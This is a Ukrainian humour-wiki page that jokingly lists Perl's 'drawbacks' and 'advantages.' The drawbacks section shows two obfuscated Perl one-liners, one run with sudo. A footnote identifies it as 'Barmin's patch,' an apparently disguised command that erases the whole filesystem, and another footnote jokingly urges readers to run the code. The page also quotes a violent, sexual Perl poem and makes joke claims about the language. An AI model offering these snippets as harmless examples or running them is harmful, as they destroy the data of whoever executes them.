Perl
Перейти до навігації
Перейти до пошуку
|
Perl — скриптова мова програмування, яка на 95% складається з регекспів. Створений Ларрі Уоллом.
Недоліки[ред.]
- Perl з легкістю інтерпретує такий код:
`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$«,$;,$^,$#,$~,$*,$:,@%)=( $!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$»),$=++;$.++;$.++; $_++;$_++;($_,$\,$,)=($~.$«.»$;$/$%[$?]$_$\$,$:$%[$?]",$«&$~,$#,);$,++ ;$,++;$^|=$»;`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`
або
echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|} <&|`{;;y; -/:[email protected][-`{-};`-{/" -;;s;;$_;see'
- Має майже "сюшний" синтаксис.
- OMFG, він інтерпретує навіть вірші:
BEFOREHEAD: close door, each window & exit; wait until time. open spellbook, study, read (scan, select, tell us); write it, print the hex whole each watches, reverse its length, write again; kill spiders, pop them, chop, split, kill them. unlink arms, shift, wait & listen (listening, wait), sort the flock (then, warn the "goats" & kill the "sheep"); kill them, dump qualms, shift moralities, values aside, each one; die sheep! die to reverse the system you accept (reject, respect); next step, kill next sacrifice, each sacrifice, wait, redo ritual until "all the spirits are pleased"; do it ("as they say"). do it(*everyone***must***participate***in***forbidden**s*e*x*). return last victim; package body; exit crypt (time, times & "half a time") & close it, select (quickly) & warn your next victim; AFTERWORDS: tell nobody, wait, wait until time; wait until next year, next decade; sleep, sleep, die yourself, die at last Текст пояснення |
Переваги[ред.]
- На Перл можна писати, навіть якщо його не знаєш.[2]
Посилання[ред.]
Примітки[ред.]
- ↑ Це патч Барміна. Якщо ти його запустив, мені тебе жаль.
- ↑ Йобнись головою об клаву і виконай.
|